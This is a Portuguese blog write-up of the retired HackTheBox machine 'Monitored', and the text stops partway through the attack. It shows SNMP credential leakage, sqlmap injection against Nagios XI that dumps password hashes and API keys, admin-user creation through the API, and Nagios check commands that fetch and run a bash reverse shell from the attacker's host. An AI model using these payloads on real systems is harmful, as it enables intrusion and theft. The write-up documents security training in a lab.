DEV Community

Guilherme Martins
Guilherme Martins

Posted on

HackTheBox - Writeup Monitored [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível medium chamada Monitored que aborda as seguintes vulnerabilidades e técnicas:

  • SNMP Data Collect
  • SQL Injection
  • Remote Code Execution
  • Week Permissions for files

Recon e User Flag

Iremos iniciar nossa análise do alvo realizando uma varredura a procura de portas abertas através do nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/biznet]
└─# nmap -sV --open -Pn 10.129.15.145 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-13 14:19 EST
Nmap scan report for 10.129.15.145
Host is up (0.26s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.56
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open  ssl/http Apache httpd 2.4.56 ((Debian))
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.33 seconds
Enter fullscreen mode Exit fullscreen mode

Pelo certificado ssl encontramos o subdomínio nagions.monitored.htb:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl -vk https://10.129.130.92
*   Trying 10.129.130.92:443...
* Connected to 10.129.130.92 (10.129.130.92) port 443 (#0)
...
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server accepted http/1.1
* Server certificate:
*  subject: C=UK; ST=Dorset; L=Bournemouth; O=Monitored; CN=nagios.monitored.htb; emailAddress=support@monitored.htb
*  start date: Nov 11 21:46:55 2023 GMT
*  expire date: Aug 25 21:46:55 2297 GMT
*  issuer: C=UK; ST=Dorset; L=Bournemouth; O=Monitored; CN=nagios.monitored.htb; emailAddress=support@monitored.htb
*  SSL certificate verify result: self-signed certificate (18), continuing anyway.
Enter fullscreen mode Exit fullscreen mode

Vamos adiciona-lo ao /etc/hosts.

Ao acessar temos uma tela que redireciona para /nagiosxi:
O usuário e senha padrão do nagios xi é nagiosadmin:nagiosadmin, no entanto, não é este o caso.

Vamos utilizar o gobuster para descobrir diretórios e endpoints:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u https://nagios.monitored.htb/nagiosxi/ -k -x .php,.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://nagios.monitored.htb/nagiosxi/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2024/01/13 14:52:15 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.php        (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/about                (Status: 301) [Size: 325] [--> https://nagios.monitored.htb/nagiosxi/about/]
/account              (Status: 301) [Size: 327] [--> https://nagios.monitored.htb/nagiosxi/account/]
/admin                (Status: 301) [Size: 325] [--> https://nagios.monitored.htb/nagiosxi/admin/]
/api                  (Status: 301) [Size: 323] [--> https://nagios.monitored.htb/nagiosxi/api/]
/backend              (Status: 301) [Size: 327] [--> https://nagios.monitored.htb/nagiosxi/backend/]
/config               (Status: 301) [Size: 326] [--> https://nagios.monitored.htb/nagiosxi/config/]
/db                   (Status: 301) [Size: 322] [--> https://nagios.monitored.htb/nagiosxi/db/]
/help                 (Status: 301) [Size: 324] [--> https://nagios.monitored.htb/nagiosxi/help/]
/images               (Status: 301) [Size: 326] [--> https://nagios.monitored.htb/nagiosxi/images/]
/includes             (Status: 301) [Size: 328] [--> https://nagios.monitored.htb/nagiosxi/includes/]
/index.php            (Status: 302) [Size: 27] [--> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1]
/install.php          (Status: 302) [Size: 0] [--> https://nagios.monitored.htb/nagiosxi/]
/login.php            (Status: 200) [Size: 26148]
/mobile               (Status: 301) [Size: 326] [--> https://nagios.monitored.htb/nagiosxi/mobile/]
/reports              (Status: 301) [Size: 327] [--> https://nagios.monitored.htb/nagiosxi/reports/]
/rr.php               (Status: 302) [Size: 0] [--> login.php]
/sounds               (Status: 403) [Size: 279]
/suggest.php          (Status: 200) [Size: 27]
/terminal             (Status: 200) [Size: 5215]
/tools                (Status: 301) [Size: 325] [--> https://nagios.monitored.htb/nagiosxi/tools/]
/upgrade.php          (Status: 302) [Size: 0] [--> index.php]
/views                (Status: 301) [Size: 325] [--> https://nagios.monitored.htb/nagiosxi/views/]
Progress: 61407 / 61410 (100.00%)
===============================================================
Enter fullscreen mode Exit fullscreen mode

Aqui temos alguns endpoints interessantes, como o /terminal que é um terminal via navegador conhecido como shell in a box, mas ele precisa de usuário e senha para acesso.
O mesmo se aplica ao endpoint /api, que como o nome sugere é responsável pela api do nagios xi. Também é necessário ter autenticação.

Vamos utilizar o gobuster novamente, mas desta vez diretamente no subdomínio:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u https://nagios.monitored.htb/ -k -x .php,.txt 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://nagios.monitored.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2024/01/13 16:30:51 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/cgi-bin/             (Status: 403) [Size: 279]
/cgi-bin/.php         (Status: 403) [Size: 279]
/index.php            (Status: 200) [Size: 3245]
/javascript           (Status: 301) [Size: 321] [--> https://10.129.15.145/javascript/]
/nagios               (Status: 401) [Size: 461]
/server-status        (Status: 403) [Size: 279]
Progress: 61403 / 61410 (99.99%)
===============================================================
Enter fullscreen mode Exit fullscreen mode

Aqui temos outros endpoints interessantes, como o /nagios, que possui uma autenticação via Basic Auth, no qual o navegador nos da um pop up solicitando os dados de acesso.

Como possui um ldap podemos executar um recon com snmpwalk para coletar dados SNMP:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# snmpwalk -v1 -c public nagios.monitored.htb | grep STRING
...
iso.3.6.1.2.1.25.4.2.1.4.966 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.967 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.968 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.969 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.970 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.1351 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.1362 = STRING: "sudo"
iso.3.6.1.2.1.25.4.2.1.4.1363 = STRING: "/bin/bash"
iso.3.6.1.2.1.25.4.2.1.4.1403 = STRING: "/usr/sbin/exim4"
iso.3.6.1.2.1.25.4.2.1.4.6830 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.7994 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10341 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10410 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10412 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10413 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10739 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10814 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10991 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11088 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11096 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11216 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11249 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11338 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11340 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11458 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11459 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11464 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11556 = STRING: "sleep"
iso.3.6.1.2.1.25.4.2.1.4.11572 = STRING: "/usr/sbin/CRON"
iso.3.6.1.2.1.25.4.2.1.4.11575 = STRING: "/bin/sh"
iso.3.6.1.2.1.25.4.2.1.4.11576 = STRING: "/usr/bin/php"
iso.3.6.1.2.1.25.4.2.1.4.11578 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11587 = STRING: "/usr/sbin/exim4"
iso.3.6.1.2.1.25.4.2.1.5.467 = STRING: "--config /etc/laurel/config.toml"
iso.3.6.1.2.1.25.4.2.1.5.532 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.533 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
iso.3.6.1.2.1.25.4.2.1.5.537 = STRING: "-n -iNONE"
iso.3.6.1.2.1.25.4.2.1.5.540 = STRING: "-u -s -O /run/wpa_supplicant"
iso.3.6.1.2.1.25.4.2.1.5.544 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.562 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "
iso.3.6.1.2.1.25.4.2.1.5.640 = STRING: "-4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0"
iso.3.6.1.2.1.25.4.2.1.5.729 = STRING: "-f /usr/local/nagios/etc/pnp/npcd.cfg"
iso.3.6.1.2.1.25.4.2.1.5.735 = STRING: "-LOw -f -p /run/snmptrapd.pid"
iso.3.6.1.2.1.25.4.2.1.5.750 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
iso.3.6.1.2.1.25.4.2.1.5.757 = STRING: "-o -p -- \\u --noclear tty1 linux"
iso.3.6.1.2.1.25.4.2.1.5.760 = STRING: "-p /var/run/ntpd.pid -g -u 108:116"
iso.3.6.1.2.1.25.4.2.1.5.793 = STRING: "-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"
iso.3.6.1.2.1.25.4.2.1.5.794 = STRING: "-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"
iso.3.6.1.2.1.25.4.2.1.5.800 = STRING: "-D /var/lib/postgresql/13/main -c config_file=/etc/postgresql/13/main/postgresql.conf"
iso.3.6.1.2.1.25.4.2.1.5.840 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.846 = STRING: "-h ldap:/// ldapi:/// -g openldap -u openldap -F /etc/ldap/slapd.d"
iso.3.6.1.2.1.25.4.2.1.5.934 = STRING: "-pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6"
iso.3.6.1.2.1.25.4.2.1.5.952 = STRING: "/usr/sbin/snmptt --daemon"
iso.3.6.1.2.1.25.4.2.1.5.954 = STRING: "/usr/sbin/snmptt --daemon"
iso.3.6.1.2.1.25.4.2.1.5.966 = STRING: "-d /usr/local/nagios/etc/nagios.cfg"
iso.3.6.1.2.1.25.4.2.1.5.967 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.968 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.969 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.970 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.1351 = STRING: "-d /usr/local/nagios/etc/nagios.cfg"
iso.3.6.1.2.1.25.4.2.1.5.1362 = STRING: "-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1363 = STRING: "-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1403 = STRING: "-bd -q30m"
iso.3.6.1.2.1.25.4.2.1.5.6830 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.7994 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10410 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10412 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10413 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10739 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10991 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11088 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11096 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11216 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11249 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11338 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11458 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11464 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11578 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11612 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11650 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11654 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11655 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11657 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11689 = STRING: "60"
iso.3.6.1.2.1.25.4.2.1.5.11697 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.11698 = STRING: "-c /usr/bin/php -q /usr/local/nagiosxi/cron/cmdsubsys.php >> /usr/local/nagiosxi/var/cmdsubsys.log 2>&1"
iso.3.6.1.2.1.25.4.2.1.5.11699 = STRING: "-q /usr/local/nagiosxi/cron/cmdsubsys.php"
iso.3.6.1.2.1.25.6.3.1.2.1 = STRING: "adduser_3.118+deb11u1_all"
...
Enter fullscreen mode Exit fullscreen mode

Como a saída do snmpwalk é muito grande foi filtrado por STRING e temos um usuário e senha:
svc:XjH7VCehowpR1xZB

Com esse user não conseguimos acessar via ssh nem o endpoint /nagiosxi, no entanto, conseguimos em nagios.monitored.htb/nagios.

Analisando as docs do nagios xi (que é bem limitada) encontramos um endpoint no nagiosxi chamado /api/v1/authenticate que é utilizado para gerar um token de autenticação:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl -k -XPOST -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=1000' https://nagios.monitored.htb/nagiosxi/api/v1/authenticate    
{"username":"svc","user_id":"2","auth_token":"c035f0bb3bbb9f6230d99675fdbf21941386e525","valid_min":1000,"valid_until":"Mon, 15 Jan 2024 06:59:41 -0500"}
Enter fullscreen mode Exit fullscreen mode

E assim conseguimos gerar um token, no qual utilizamos para acessar a api do nagioxi.
O nagioxi por sua vez possui diversas vulnerabilidades recentes, dentre elas a CVE-2023-40931.

Que através da api podemos utilizar o sqlmap para explora-la:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=c035f0bb3bbb9f6230d99675fdbf21941386e525" --batch --tables                                  
        ___
       __H__                                                                                                                                     
 ___ ___["]_____ ___ ___  {1.7.9.2#dev}                                                                                                          
|_ -| . ["]     | .'| . |                                                                                                                        
|___|_  ["]_|_|_|__,|  _|                                                                                                                        
      |_|V...       |_|   https://sqlmap.org
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[14:34:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:34:05] [WARNING] GET parameter 'action' does not seem to be injectable
[14:34:05] [INFO] testing if GET parameter 'id' is dynamic
[14:34:06] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:34:07] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[14:34:07] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[14:34:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:34:08] [WARNING] reflective value(s) found and filtering out
[14:34:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:34:18] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --not-string="row")
[14:34:18] [INFO] testing 'Generic inline queries'
[14:34:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[14:34:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[14:34:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[14:34:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[14:34:22] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[14:34:23] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[14:34:24] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[14:34:25] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[14:34:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:34:26] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:34:27] [INFO] GET parameter 'id' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[14:34:27] [INFO] testing 'MySQL inline queries'
...
...
[14:34:46] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
...
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 271 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: action=acknowledge_banner_message&id=(SELECT (CASE WHEN (7780=7780) THEN 3 ELSE (SELECT 8823 UNION SELECT 4738) END))&token=c035f0bb3bbb9f6230d99675fdbf21941386e525

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: action=acknowledge_banner_message&id=3 OR (SELECT 6550 FROM(SELECT COUNT(*),CONCAT(0x7170626b71,(SELECT (ELT(6550=6550,1))),0x716b7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&token=c035f0bb3bbb9f6230d99675fdbf21941386e525

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=acknowledge_banner_message&id=3 AND (SELECT 6899 FROM (SELECT(SLEEP(5)))agwy)&token=c035f0bb3bbb9f6230d99675fdbf21941386e525
---
[14:37:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.56
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
...
Database: information_schema
[82 tables]
+---------------------------------------+
| ALL_PLUGINS                           |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES                     |
| ENABLED_ROLES                         |
| FILES                                 |
| GEOMETRY_COLUMNS                      |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_CMP_RESET                      |
| INNODB_FT_BEING_DELETED               |
| INNODB_FT_CONFIG                      |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_DELETED                     |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_METRICS                        |
| INNODB_MUTEXES                        |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_DATAFILES                  |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_SEMAPHORE_WAITS            |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_TABLESPACES                |
| INNODB_SYS_TABLESTATS                 |
| INNODB_SYS_VIRTUAL                    |
| INNODB_TABLESPACES_ENCRYPTION         |
| INNODB_TRX                            |
| KEYWORDS                              |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| SPATIAL_REF_SYS                       |
| SQL_FUNCTIONS                         |
| STATISTICS                            |
| SYSTEM_VARIABLES                      |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| THREAD_POOL_GROUPS                    |
| THREAD_POOL_QUEUES                    |
| THREAD_POOL_STATS                     |
| THREAD_POOL_WAITS                     |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| COLUMNS                               |
| ENGINES                               |
| EVENTS                                |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| TABLES                                |
| TRIGGERS                              |
| user_variables                        |
+---------------------------------------+

Database: nagiosxi
[22 tables]
+---------------------------------------+
| xi_auditlog                           |
| xi_auth_tokens                        |
| xi_banner_messages                    |
| xi_cmp_ccm_backups                    |
| xi_cmp_favorites                      |
| xi_cmp_nagiosbpi_backups              |
| xi_cmp_scheduledreports_log           |
| xi_cmp_trapdata                       |
| xi_cmp_trapdata_log                   |
| xi_commands                           |
| xi_deploy_agents                      |
| xi_deploy_jobs                        |
| xi_eventqueue                         |
| xi_events                             |
| xi_link_users_messages                |
| xi_meta                               |
| xi_mibs                               |
| xi_options                            |
| xi_sessions                           |
| xi_sysstat                            |
| xi_usermeta                           |
| xi_users                              |
+---------------------------------------+
[14:40:23] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nagios.monitored.htb'
Enter fullscreen mode Exit fullscreen mode

Aqui temos o retorno de todas as tabelas de todos os bancos existentes, que são information_schema e nagiosxi.
Buscando credenciais podemos visualizar o conteúdo da tabela xi_users do banco de dados nagiosxi:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=eca836b1c8d71116d87c8436cf5c2c45236b3f29" --batch -D nagiosxi -T xi_users --dump
...
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | email               | name                 | api_key                                                          | enabled | password                                                     | username    | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket                                                   | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1       | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1       | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0          | 1701931372 | 1           | 1701427555  | 0            | 0            | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0                                 | 5              | 0              | 1701427555           |
| 2       | svc@monitored.htb   | svc                  | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0       | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc         | 1          | 1699724476 | 1           | 1699728200  | 1699634403   | 1705260273   | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1              | 5              | 1699697433           |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+

Enter fullscreen mode Exit fullscreen mode

Com o token do admin conseguimos acesso como admin na api, e assim conseguimos criar um usuário para interface com o seguinte comando:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl -XPOST --insecure "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=mrntsgs&password=mrtnsgs&name=mrtnsgs&email=mrtnsgs@localhost&auth_level=admin"
{
    "success": "User account mrntsgs was added successfully!",
    "user_id": 6
}

Enter fullscreen mode Exit fullscreen mode

Com isso conseguimos logar na interface:

Nagios Login

No primeiro acesso será solicitado a troca da senha do novo usuário:

Troca de senha no primeiro acesso

E agora temos acesso a interface:

Interface

O Nagios possuí diversas funcionalidades para monitorar hosts e serviços, dentre estes podemos utilizar comandos de checagem, ja existem alguns pré-definidos e podemos criar novos.

Para isso vamos acessar em Starting Monitoring -> Advanced Config:

Advanced Config

Na próxima tela vamos acessar Commands:

Core config Management

E aqui temos diversos comandos ja pré definidos:

Commands

Visando conseguir um shell podemos criar dois comandos para o localhost que ira realizar o download e executar nossa reverse shell. Para isso vamos clicar em + Add New e adicionar o seguinte comando:

curl http://10.10.14.128:8081/rev.sh -o /tmp/rev.sh
Enter fullscreen mode Exit fullscreen mode

Um ponto de atenção é manter o Command Type como check command, para que fique disponível para execução que iremos ver logo a seguir.

Basta clicar em Save e na próxima tela em Apply Configuration.

Config saved

Este primeiro comando ira baixar o reverse shell e salvar no diretório /tmp. Precisamos agora adicionar outro comando, que executará o script contendo nosso reverse shell:

bash /tmp/rev.sh
Enter fullscreen mode Exit fullscreen mode

Seguindo os mesmos procedimentos teremos os dois comandos abaixo:

Comandos criados

Não esquecer de clicar em Apply Configuration!

Precisamos criar o arquivo rev.sh com o seguinte conteúdo:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9001 0>&1
Enter fullscreen mode Exit fullscreen mode

No terminal iremos subir um servidor http usando python, para que seja possível o download proveniente do alvo:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Enter fullscreen mode Exit fullscreen mode

Em outra aba do terminal iremos utilizar o pwncat para receber a conexão reversa quando executarmos o segundo comando:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
